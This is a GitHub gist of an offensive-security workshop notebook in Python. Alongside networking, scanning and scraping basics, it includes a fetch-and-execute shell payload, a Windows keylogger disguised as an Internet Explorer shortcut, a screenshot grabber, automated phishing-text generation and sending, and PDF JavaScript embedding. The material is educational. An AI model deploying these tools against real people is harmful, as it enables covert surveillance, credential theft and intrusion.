Skip to content

Instantly share code, notes, and snippets.

@adityaarakeri
Forked from fheisler/OffensivePython.ipynb
Created September 18, 2019 04:03
Show Gist options
  • Save adityaarakeri/b2cf622c29c65ca736234a2addc6f01e to your computer and use it in GitHub Desktop.
Save adityaarakeri/b2cf622c29c65ca736234a2addc6f01e to your computer and use it in GitHub Desktop.

Revisions

  1. @fheisler fheisler revised this gist Jun 1, 2019. 1 changed file with 16 additions and 4 deletions.
    20 changes: 16 additions & 4 deletions OffensivePython.ipynb
    Original file line number Diff line number Diff line change
    @@ -65,7 +65,7 @@
    "\n",
    "import os\n",
    "\n",
    "keys_dir = os.path.expanduser('~/.ssh/') # expand from a user's local directory into /.ssh\n",
    "keys_dir = os.path.expanduser('~/Applications/') # expand from a user's local directory into /.ssh\n",
    "if os.path.isdir(keys_dir):\n",
    " for folder, subfolders, files in os.walk(keys_dir):\n",
    " print('Directory: %s' % folder)\n",
    @@ -654,9 +654,10 @@
    " content_length = int(self.headers.get('Content-Length'))\n",
    " post_data = self.rfile.read(content_length)\n",
    " params = dict(parse_qsl(post_data))\n",
    " if b64decode(self.headers.get('Authorization', '')) != params.get('user'):\n",
    " # Python2: not byte strings below!\n",
    " if b64decode(self.headers.get('Authorization', '')) != params.get(b'user'):\n",
    " self._respond(\"UNAUTHORIZED\")\n",
    " elif params.get('user') == 'admin' and params.get('pwd') == 'p@ssw0rd':\n",
    " elif params.get(b'user') == b'admin' and params.get(b'pwd') == b'p@ssw0rd':\n",
    " self._respond(\"admin\")\n",
    " else:\n",
    " self._respond(\"-\")\n",
    @@ -889,7 +890,7 @@
    "from pymarkovchain import MarkovChain\n",
    "import re\n",
    "\n",
    "target = \"https://standardprocess.com\"\n",
    "target = \"https://www.digitalunite.com/guides/email/how-send-email\"\n",
    "response = requests.get(target)\n",
    "\n",
    "# Find any email addresses on page\n",
    @@ -980,6 +981,17 @@
    "! python make-pdf-javascript.py -f payload.js demo.pdf"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {
    "scrolled": true
    },
    "outputs": [],
    "source": [
    "ls"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
  2. @fheisler fheisler created this gist Jun 7, 2018.
    1,022 changes: 1,022 additions & 0 deletions OffensivePython.ipynb
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,1022 @@
    {
    "cells": [
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "<center>\n",
    " <h1>Hunter2: Offensive Python workshop</h1>\n",
    " <img style=\"height:200px\" src=\"https://avatars2.githubusercontent.com/u/34970458\">\n",
    "</center>\n",
    "\n",
    "### https://hunter2.com\n",
    "### [email protected]"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### Motivation:\n",
    "\n",
    "#### Why custom scripts?\n",
    "- Working on systems without services installed\n",
    "- Working around a firewall/security system\n",
    "- Crafting custom tools\n",
    "- More fully understanding how systems and tools work\n",
    "\n",
    "#### Why Python?\n",
    "- Free\n",
    "- Commonly found + easy to install\n",
    "- Flexible and extensible\n",
    "- Many existing modules\n",
    "- Large community"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "## OS basics"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "import os\n",
    "\n",
    "print(os.environ)\n",
    "\n",
    "print(os.getcwd())\n",
    "\n",
    "os.listdir(\".\")"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Directory walking\n",
    "\n",
    "import os\n",
    "\n",
    "keys_dir = os.path.expanduser('~/.ssh/') # expand from a user's local directory into /.ssh\n",
    "if os.path.isdir(keys_dir):\n",
    " for folder, subfolders, files in os.walk(keys_dir):\n",
    " print('Directory: %s' % folder)\n",
    " for fname in files:\n",
    " print('\\tFile: %s' % fname)"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Running shell commands\n",
    "import subprocess\n",
    "\n",
    "# v1: pass a list, starting with the command to run followed by args\n",
    "print(subprocess.check_output(['ls', '-a']).decode())\n",
    "\n",
    "# v2: use threads and Popen for more customization (partial example)\n",
    "proc = subprocess.Popen('pwd', stdout=subprocess.PIPE)\n",
    "proc.wait()\n",
    "for line in proc.stdout:\n",
    " print(line.decode())\n",
    "\n",
    "# v3: pass shellcode directly to the default shell\n",
    "print(subprocess.check_output(\"ls -a | wc -l\", shell=True).decode())"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Also available in Jupyter notebooks directly\n",
    "!pwd"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "%%ruby\n",
    "\n",
    "# Run other languages directly in notebook\n",
    "puts \"hello ruby\""
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Other magic available\n",
    "%lsmagic"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "## Creating clients and servers"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### Basic sockets"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Simple HTTP server\n",
    "! python -m http.server\n",
    "\n",
    "#! python2 -m SimpleHTTPServer"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# TCP/IP client for raw HTTP traffic\n",
    "\n",
    "import socket\n",
    "\n",
    "target = (\"example.com\", 80)\n",
    "\n",
    "request = b\"\"\"\n",
    "GET / HTTP/1.1\n",
    "Host: example.com\n",
    "\n",
    "\"\"\" # note the extra empty line above to designate the end of the headers\n",
    "\n",
    "client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n",
    "# for UDP, would use socket.SOCK_DGRAM and sendto() / recvfrom() without establishing a connection\n",
    "\n",
    "client.settimeout(5)\n",
    "\n",
    "client.connect(target)\n",
    "client.send(request)\n",
    "\n",
    "response = client.recv(1024)\n",
    "print(response.decode())"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# TCP server\n",
    "\n",
    "import socket\n",
    "import threading\n",
    "\n",
    "target = ('localhost', 9001)\n",
    "max_connections = 5\n",
    "\n",
    "# Create a TCP/IP socket, bind to the target, and listen for up to max_connections\n",
    "sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n",
    "sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # allow port reuse if connection hangs\n",
    "sock.bind(target)\n",
    "sock.listen(max_connections)\n",
    "\n",
    "def handle_client(client):\n",
    " while True:\n",
    " data = client.recv(16) # Receive 16 bytes at a time\n",
    " if data:\n",
    " print(b'Received \"%s\"' % data)\n",
    " else:\n",
    " break\n",
    " client.sendall(b\"senpai noticed you\")\n",
    " client.close()\n",
    " print(\"Closed connection.\")\n",
    "\n",
    "while True:\n",
    " client, addr = sock.accept()\n",
    " print(\"Accepted connection from %s on port %s\" % addr)\n",
    " client_handler = threading.Thread(target=handle_client, args=(client,))\n",
    " client_handler.start()"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# TCP client (needs to be run in a separate process from the server above)\n",
    "\n",
    "import socket\n",
    "\n",
    "# Connect the socket to the port where the server is listening\n",
    "server_address = ('localhost', 9001)\n",
    "sock = socket.create_connection(server_address)\n",
    "\n",
    "message = b'Hello server. Please acknowledge me.'\n",
    "\n",
    "try:\n",
    " print('Sending: %s\"' % message)\n",
    " sock.sendall(message)\n",
    " while True:\n",
    " data = sock.recv(1024)\n",
    " if data:\n",
    " print('Received: %s' % data)\n",
    " else:\n",
    " break\n",
    "finally:\n",
    " sock.close()"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### SSH server + client"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "#### Paramiko demo SSH server:\n",
    "Visit https://github.com/paramiko/paramiko/tree/master/demos for the following files:\n",
    "- `demo_server.py`\n",
    "- `test_rsa.key` RSA demo private key\n",
    "- `demo.py` client\n",
    "- `interactive.py` for interactive shell, in same folder as `demo.py`\n",
    "\n",
    "username: `robey`, password: `foo`\n",
    "\n",
    "Point `demo_server.py` at the `test_rsa.key` file and set `DoGSSAPIKeyExchange` to be `False`"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Generating custom server keys\n",
    "! openssl genrsa -des3 -out ssh_private.pem 2048\n",
    "! openssl rsa -in ssh_private.pem -outform PEM -pubout -out ssh_public.pem"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### FTP server"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Uses twistd, Twisted daemon\n",
    "# need to `pip install twisted` first\n",
    "# `-n` flag runs Twisted synchronously in the foreground instead of as a background daemon\n",
    "\n",
    "! twistd -n ftp"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### Anonymous FTP client access"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "import ftplib\n",
    "\n",
    "for host in ['ftp.ubuntu.com', 'ftp.debian.org']:\n",
    " try:\n",
    " ftp = ftplib.FTP(host)\n",
    " ftp.login() # no credentials passed\n",
    " print('Succeeded at ' + str(host))\n",
    " print(ftp.retrlines('LIST'))\n",
    " ftp.quit()\n",
    " except Exception:\n",
    " print('Failed at ' + str(host))"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### SSH/DNS traffic tunnels: sshuttle\n",
    "\n",
    "https://github.com/apenwarr/sshuttle\n",
    "\n",
    "Video demo using Amazon EC2 for SSH tunneling: https://youtu.be/dl2FsIfHo84"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "## Capturing network packets"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### Scenarios:\n",
    "- Open wifi sniffing\n",
    "- Man-in-the-middle attacks\n",
    "- Data exfiltration\n",
    "- Custom honeypot\n",
    "- Network debugging"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### Installing scapy:\n",
    "\n",
    "##### Easiest to use in a [Kali Linux VM](https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/) as root:\n",
    "\n",
    "```\n",
    "pip install scapy\n",
    "pip install pcapy\n",
    "```\n",
    "\n",
    "##### On MacOS/etc, easiest to run Scapy interactively:\n",
    "\n",
    "```\n",
    "git clone https://github.com/secdev/scapy/\n",
    "cd scapy/\n",
    "sudo ./run_scapy_py3\n",
    "```"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Sniff the next available packet\n",
    "\n",
    "from scapy.all import sniff\n",
    "\n",
    "sniff(prn=lambda p: p.show(), count=1)"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Sniff any ICMP traffic to/from Google Public DNS over the next 10 seconds\n",
    "\n",
    "from scapy.all import sniff\n",
    "\n",
    "# optionally pass iface=\"en0\" to specify e.g. en0 as the network interface for sniffing\n",
    "pings = sniff(filter=\"icmp and host 8.8.8.8\", timeout=10)\n",
    "pings.summary()"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "## Custom packet crafting and port scanning "
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Ping a site and receive a single response\n",
    "\n",
    "from scapy.all import sr1, IP, ICMP\n",
    "\n",
    "ping_req = IP(dst=\"example.com\")/ICMP()/\"ABC123ABC123\"\n",
    "\n",
    "reply = sr1(ping_req)\n",
    "\n",
    "# Display the results in various formats\n",
    "reply\n",
    "reply.summary()\n",
    "reply.show()"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Send SYN-ACK packet to Google and display replies\n",
    "\n",
    "from scapy.all import IP, TCP, sr1\n",
    "\n",
    "syn_ack = IP(dst=\"google.com\")/TCP(dport=80, flags=\"SA\")\n",
    "reply = sr1(syn_ack, timeout=3)\n",
    "\n",
    "reply\n",
    "# may be empty if unanswered; may be e.g. \"RST\""
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### Simple TCP SYN Scanner (or Flooder...)"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Summarize responses to SYN packets from specific ports\n",
    "\n",
    "from scapy.all import IP, TCP, sr\n",
    "\n",
    "packet = IP(dst=\"example.com\")/TCP(dport=[21,80,443], flags=\"S\")\n",
    "ans, unans = sr(packet, timeout=5)\n",
    "\n",
    "# ans is a two-tuple of (source, reply)\n",
    "ans.summary(lambda a: a[1].sprintf(\"Port: %TCP.sport% \\t Flags: %TCP.flags%\"))"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Create a table of responses across multiple IPs\n",
    "\n",
    "from scapy.all import IP, TCP, sr\n",
    "\n",
    "packet = IP(dst=[\"example.com\", \"microsoft.com\", \"ftp.ubuntu.com\"])/TCP(dport=[21,80,443], flags=\"S\")\n",
    "a, u = sr(packet, timeout=5)\n",
    "a.make_table(lambda a: (a[0].dst, a[0].dport, \"X\"))"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "## Web scraping and browser automation"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Get a webpage using built-in urllib\n",
    "\n",
    "# Python2: import urllib2\n",
    "from urllib.request import urlopen\n",
    "\n",
    "response = urlopen(\"https://example.com\")\n",
    "print(response.read().decode())"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Get a webpage using requests\n",
    "\n",
    "import requests\n",
    "\n",
    "response = requests.get(\"https://example.com\")\n",
    "print(\"Status code: {}\".format(response.status_code))\n",
    "print(response.content.decode())"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### Scenarios:\n",
    "- Keep tabs on a website and respond quickly to changes\n",
    "- Automate bulk/repeated browser actions\n",
    "- Custom site crawler"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Grab the current stock price of YHOO\n",
    "\n",
    "import requests\n",
    "from bs4 import BeautifulSoup\n",
    "\n",
    "custom_headers = {\n",
    " 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:27.0) Gecko/20100101 Firefox/27.0',\n",
    "}\n",
    "\n",
    "# ^GSPC, the S&P 500\n",
    "url = \"http://finance.yahoo.com/q?s=%5EGSPC\"\n",
    "\n",
    "response = requests.get(url, headers=custom_headers)\n",
    "soup = BeautifulSoup(response.content, 'lxml')\n",
    "\n",
    "# Search HTML for unique tags around the price\n",
    "tags = soup.find_all(\"span\", attrs={'data-reactid': '35'})\n",
    "price = tags[0].string\n",
    "print(price)\n",
    "\n",
    "tags = soup.find_all(\"span\", attrs={'data-reactid': '36'})\n",
    "delta = tags[0].string\n",
    "print(delta)"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### Custom scripts to extend existing tools\n",
    "\n",
    "#### Burp Suite Extender\n",
    "\n",
    "- Automate manual/complex tasks\n",
    "- Work with special encoding or unusual data structures (custom serialization)\n",
    "- Have more granular control of request and response data\n",
    "- Extend attack logic (e.g. while spidering a site, try a simple attack on all pages matching X)"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# First download and install Jython standalone JAR (Python running on Java): jython.org/downloads.html\n",
    "# Then point Burp Suite > Extender > Options > Python Environment at the downloaded .jar file\n",
    "\n",
    "# The following code goes into a separate .py file loaded into Burp Suite > Extender > Extensions\n",
    "\n",
    "from burp import IBurpExtender\n",
    "\n",
    "class BurpExtender(IBurpExtender):\n",
    " def registerExtenderCallbacks(self, callbacks):\n",
    " callbacks.setExtensionName(\"L33t 3xt3ns10n\")\n",
    " callbacks.issueAlert(\"Hello alerts tab\")\n",
    "\n",
    "# Once loaded, check Burp Suite's Alerts tab on the far right for output from the extension"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "#### First, a minor diversion - simple Python server for a login page:"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# The page shows the current user when the correct credentials (admin/p@ssw0rd) are supplied\n",
    "\n",
    "# Python2:\n",
    "# from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\n",
    "# from urlparse import parse_qsl\n",
    "\n",
    "from http.server import BaseHTTPRequestHandler, HTTPServer\n",
    "from urllib.parse import parse_qsl\n",
    "from base64 import b64decode\n",
    "\n",
    "class SimpleServe(BaseHTTPRequestHandler):\n",
    " page = \"\"\"\n",
    " <html><body>\n",
    " <form method=\"POST\">\n",
    " Username: <input type=\"text\" name=\"user\" required><br />\n",
    " Password: <input type=\"password\" name=\"pwd\" required><br />\n",
    " <button type=\"submit\">Login</button>\n",
    " </form>\n",
    " Current logged-in user: <span id=\"current-user\">{}</span>\n",
    " </body></html>\n",
    " \"\"\"\n",
    "\n",
    " def _respond(self, user):\n",
    " self.send_response(200)\n",
    " self.send_header('Content-type', 'text/html')\n",
    " self.end_headers()\n",
    " self.wfile.write(self.page.format(user).encode())\n",
    "\n",
    " def do_GET(self):\n",
    " self._respond(\"-\")\n",
    "\n",
    " def do_POST(self):\n",
    " content_length = int(self.headers.get('Content-Length'))\n",
    " post_data = self.rfile.read(content_length)\n",
    " params = dict(parse_qsl(post_data))\n",
    " if b64decode(self.headers.get('Authorization', '')) != params.get('user'):\n",
    " self._respond(\"UNAUTHORIZED\")\n",
    " elif params.get('user') == 'admin' and params.get('pwd') == 'p@ssw0rd':\n",
    " self._respond(\"admin\")\n",
    " else:\n",
    " self._respond(\"-\")\n",
    "\n",
    "s = HTTPServer(('', 8088), SimpleServe)\n",
    "s.serve_forever()"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "#### Burp Suite extension for modifying requests"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Burp Suite Python extension for client-side signing of requests\n",
    "# use processProxyMessage to rewrite outbound traffic\n",
    "\n",
    "from burp import IBurpExtender, IProxyListener\n",
    "from base64 import b64encode\n",
    "\n",
    "class BurpExtender(IBurpExtender, IProxyListener):\n",
    " def registerExtenderCallbacks(self, callbacks):\n",
    " self._helpers = callbacks.getHelpers()\n",
    " callbacks.registerProxyListener(self)\n",
    " callbacks.setExtensionName(\"Add Custom Auth Header\")\n",
    "\n",
    " def processProxyMessage(self, is_request, message):\n",
    " if not is_request:\n",
    " return\n",
    "\n",
    " request = message.getMessageInfo()\n",
    " request_data = self._helpers.analyzeRequest(request)\n",
    " body_raw = request.getRequest()[request_data.getBodyOffset():]\n",
    " body = self._helpers.bytesToString(body_raw)\n",
    "\n",
    " headers = list(request_data.getHeaders())\n",
    " params = list(request_data.getParameters())\n",
    " for param in params:\n",
    " if param.name == 'user':\n",
    " username = str(param.value)\n",
    " headers.append(\"Authorization: \" + b64encode(username))\n",
    " break\n",
    "\n",
    " new_message = self._helpers.buildHttpMessage(headers, body)\n",
    " print(self._helpers.bytesToString(new_message))\n",
    " request.setRequest(new_message)"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "## Exploit development"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### Execute shell code"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Create a payload file to be served (locally, in this example)\n",
    "\n",
    "from base64 import b64encode\n",
    "\n",
    "# shellcode payload to be base64-encoded\n",
    "payload = b64encode(b\"\"\"\n",
    "echo 'hello target'\n",
    "pwd\n",
    "\"\"\").decode()\n",
    "\n",
    "# save code as a file\n",
    "! echo \"{payload}\" > exploit\n",
    "\n",
    "# serve the file (needs to be running separate instance from the execution below)\n",
    "! python -m http.server\n",
    "\n",
    "#! python2 -m SimpleHTTPServer"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Grab shell code from the web and execute it\n",
    "\n",
    "# Python2: from urllib2 import urlopen\n",
    "from urllib.request import urlopen\n",
    "from base64 import b64decode\n",
    "import subprocess\n",
    "\n",
    "response = urlopen(\"http://localhost:8000/exploit\")\n",
    "code = b64decode(response.read())\n",
    "\n",
    "for line in code.decode().split('\\n'):\n",
    " print(subprocess.check_output(line, shell=True).decode())"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### Keylogging on Windows"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# PyHook for capturing Windows events\n",
    "\n",
    "# First install pyHook on Windows:\n",
    "# http://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook\n",
    "# Download pyHook‑1.5.1‑cp27‑cp27m‑win32.whl\n",
    "# pip install pyHook‑1.5.1‑cp27‑cp27m‑win32.whl\n",
    "\n",
    "# Also pip install pypiwin32 (for pythoncom module)\n",
    "\n",
    "\n",
    "###### launch.bat file to replicate Internet Explorer as a shortcut:\n",
    "@echo off\n",
    "start \"\" \"c:\\logger.pyw\"\n",
    "start \"\" \"c:\\program files (x86)\\internet explorer\\iexplore.exe\"\n",
    "######\n",
    "\n",
    "###### .PYW file to run in the background without console output:\n",
    "import pyHook\n",
    "import pythoncom\n",
    "import logging\n",
    "\n",
    "log = \"C:\\\\Users\\\\myname\\\\log.txt\"\n",
    "\n",
    "def OnKeyboardEvent(event):\n",
    " logging.basicConfig(filename=log, level=logging.DEBUG, format='%(message)s')\n",
    " chr(event.Ascii)\n",
    " logging.log(10, chr(event.Ascii))\n",
    " return True\n",
    "\n",
    "hooks_manager = pyHook.Hook2Manager()\n",
    "hooks_manager.KeyDown = OnKeyboardEvent\n",
    "hooks_manager.HookKeyboard()\n",
    "pythoncom.PumpMessages()"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# PyWin32 for screenshots\n",
    "\n",
    "import win32gui, win32ui, win32con, win32api\n",
    "\n",
    "hwin = win32gui.GetDesktopWindow()\n",
    "width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)\n",
    "height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)\n",
    "left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)\n",
    "top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)\n",
    "hwindc = win32gui.GetWindowDC(hwin)\n",
    "srcdc = win32ui.CreateDCFromHandle(hwindc)\n",
    "memdc = srcdc.CreateCompatibleDC()\n",
    "bmp = win32ui.CreateBitmap()\n",
    "bmp.CreateCompatibleBitmap(srcdc, width, height)\n",
    "memdc.SelectObject(bmp)\n",
    "memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)\n",
    "bmp.SaveBitmapFile(memdc, 'C:\\\\Users\\\\myname\\\\Downloads\\\\screenshot.bmp')\n"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### Evading detection\n",
    "- Encryption/obfuscation\n",
    "- Sandbox detection\n",
    "- PyInstaller\n",
    "- Custom code\n",
    "- Hooks and pivots"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "## Automated phishing"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {
    "collapsed": true
    },
    "source": [
    "### Scraping and creatively reusing information\n",
    "\n",
    "Related projects to check out:\n",
    "- [lyricize](https://github.com/fheisler/lyricize): Markov chains to generate lyrics\n",
    "- [natural language processing on Gmail messages](http://engineroom.trackmaven.com/blog/monthly-challenge-natural-language-processing/) using [NLTK](http://www.nltk.org/)"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# pip install pymarkovchain\n",
    "\n",
    "import requests\n",
    "from bs4 import BeautifulSoup\n",
    "from pymarkovchain import MarkovChain\n",
    "import re\n",
    "\n",
    "target = \"https://standardprocess.com\"\n",
    "response = requests.get(target)\n",
    "\n",
    "# Find any email addresses on page\n",
    "emails = re.findall(r'[\\w\\.-]+@[\\w\\.-]+', response.text)\n",
    "print(\"Possible addresses found: %s\\n\" % emails)\n",
    "\n",
    "# Gather visible text on target page\n",
    "soup = BeautifulSoup(response.text, 'lxml')\n",
    "snippets = soup.body.findAll(lambda s: not s.name in ['style', 'script'], text=True)\n",
    "bag = ' '.join([snip.text.strip() for snip in snippets])\n",
    "\n",
    "# Generate new text similar to existing page content\n",
    "mc = MarkovChain()\n",
    "mc.generateDatabase(bag)\n",
    "\n",
    "subject = mc.generateString()[:40]\n",
    "body = mc.generateString()[:300] + '\\n' + mc.generateString()[:300]\n",
    "\n",
    "print(\"Subject: %s\\n\" % subject)\n",
    "print(\"Body:\\n%s\" % body)"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### Sending SMTP emails"
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "import smtplib\n",
    "from email.mime.multipart import MIMEMultipart\n",
    "from email.mime.text import MIMEText\n",
    "\n",
    "sender = \"[email protected]\"\n",
    "receiver = \"[email protected]\"\n",
    "\n",
    "msg = MIMEMultipart()\n",
    "msg['From'] = sender\n",
    "msg['To'] = receiver\n",
    "msg['Subject'] = \"test\"\n",
    "body = MIMEText(\"click my <a href='https://youtu.be/dQw4w9WgXcQ'>link</a> please\", 'html')\n",
    "msg.attach(body)\n",
    "\n",
    "mail = smtplib.SMTP('smtp.gmail.com', 587)\n",
    "mail.ehlo()\n",
    "mail.starttls()\n",
    "mail.login('my_gmail_username', 'my_password')\n",
    "mail.sendmail(sender, receiver, msg.as_string())\n",
    "mail.close()"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "### Create malicious PDF with embedded JS"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "Using [make-pdf tools from Didier Stevens](https://blog.didierstevens.com/programs/pdf-tools/)\n",
    "\n",
    "Download: https://didierstevens.com/files/software/make-pdf_V0_1_6.zip\n",
    "\n",
    "Place `make-pdf-javascript.py` and `mPDF.py` in your current working directory."
    ]
    },
    {
    "cell_type": "code",
    "execution_count": null,
    "metadata": {},
    "outputs": [],
    "source": [
    "# Works with Python2; for Python3, will need to remove print statements and update resulting byte-strings\n",
    "\n",
    "# Save a payload into a JS file\n",
    "! echo \"app.alert({cMsg: 'Hello PDF', cTitle: 'Testing PDF JavaScript', nIcon: 3});\" > payload.js\n",
    "\n",
    "# Run make-pdf-javascript utility to embed payload into a new PDF file\n",
    "! python make-pdf-javascript.py -f payload.js demo.pdf"
    ]
    },
    {
    "cell_type": "markdown",
    "metadata": {},
    "source": [
    "## Other resources\n",
    "\n",
    "Paid products:\n",
    "- [Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers](https://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579)\n",
    "- [Black Hat Python](https://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900)\n",
    "- [Didier Stevens Labs](http://didierstevenslabs.com/products.html)\n",
    "- [Real Python](https://realpython.com)\n",
    "\n",
    "Free:\n",
    "- (PDF) [Writing Basic Security Tools Using Python](http://www.binary-zone.com/course/HTID/Python4Infosec.pdf)\n",
    "- [Twisted example scripts](http://twistedmatrix.com/documents/current/core/examples/)"
    ]
    }
    ],
    "metadata": {
    "kernelspec": {
    "display_name": "Python 3",
    "language": "python",
    "name": "python3"
    },
    "language_info": {
    "codemirror_mode": {
    "name": "ipython",
    "version": 3
    },
    "file_extension": ".py",
    "mimetype": "text/x-python",
    "name": "python",
    "nbconvert_exporter": "python",
    "pygments_lexer": "ipython3",
    "version": "3.6.5"
    }
    },
    "nbformat": 4,
    "nbformat_minor": 2
    }